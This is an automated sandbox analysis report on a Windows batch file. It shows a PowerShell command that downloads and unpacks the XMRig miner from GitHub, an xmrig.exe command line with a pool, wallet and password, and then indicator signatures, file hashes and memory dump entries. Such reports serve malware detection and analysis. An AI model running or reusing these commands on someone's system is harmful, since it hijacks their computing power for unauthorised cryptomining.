Analysis

  • max time kernel
    1794s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (10).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:792
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4600
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:208

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 ee87a0cdee831a5b619dd58d18ad8336f5c85b79558656941f9e8679d523f3ff
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_yvd4myh3.d3i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvd4myh3.d3i.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 387KB
        • SHA256 75bf405440c85798593127983562c8446ca9af5be79735fd3d2903737448dc0b
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 1.0MB
        • SHA256 bb9d3453c4a829d90e0e13d529c9859437e6110d800b0c915d21fc0f788400f4
        • MD5 SHA1 SHA512 SSDEEP

        memory/208-142-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-136-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-186-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-185-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-184-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-183-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-182-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-181-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-180-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-179-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-178-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-177-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-176-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-175-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-174-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-173-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-119-0x000001872B7F0000-0x000001872B830000-memory.dmp

        memory/208-120-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-121-0x000001872BC50000-0x000001872BC70000-memory.dmp

        memory/208-122-0x000001872BE80000-0x000001872BEA0000-memory.dmp

        memory/208-123-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-124-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-126-0x000001872BE80000-0x000001872BEA0000-memory.dmp

        memory/208-125-0x000001872BC50000-0x000001872BC70000-memory.dmp

        memory/208-127-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-128-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-129-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-130-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-131-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-132-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-133-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-134-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-135-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-147-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-137-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-138-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-139-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-140-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-141-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-118-0x0000018699420000-0x0000018699440000-memory.dmp

        memory/208-143-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-144-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-172-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-146-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-145-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-148-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-149-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-150-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-151-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-152-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-153-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-154-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-155-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-156-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-157-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-158-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-159-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-160-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-161-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-162-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-163-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-164-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-165-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-166-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-167-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-168-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-169-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-170-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/208-171-0x00007FF64CCC0000-0x00007FF64D7C3000-memory.dmp

        memory/3572-10-0x000002513F920000-0x000002513F930000-memory.dmp

        memory/3572-7-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

        memory/3572-8-0x000002513F920000-0x000002513F930000-memory.dmp

        memory/3572-9-0x000002513FBB0000-0x000002513FC26000-memory.dmp

        memory/3572-27-0x000002513F920000-0x000002513F930000-memory.dmp

        memory/3572-25-0x000002513F920000-0x000002513F930000-memory.dmp

        memory/3572-4-0x000002513F8B0000-0x000002513F8D2000-memory.dmp

        memory/3572-26-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

        memory/3572-32-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

        memory/4600-64-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

        memory/4600-38-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp

        memory/4600-41-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

        memory/4600-40-0x0000022AE8930000-0x0000022AE8940000-memory.dmp

        memory/4600-78-0x0000022AE9110000-0x0000022AE9122000-memory.dmp

        memory/4600-91-0x0000022AE8E30000-0x0000022AE8E3A000-memory.dmp

        memory/4600-115-0x00007FF9533F0000-0x00007FF953DDC000-memory.dmp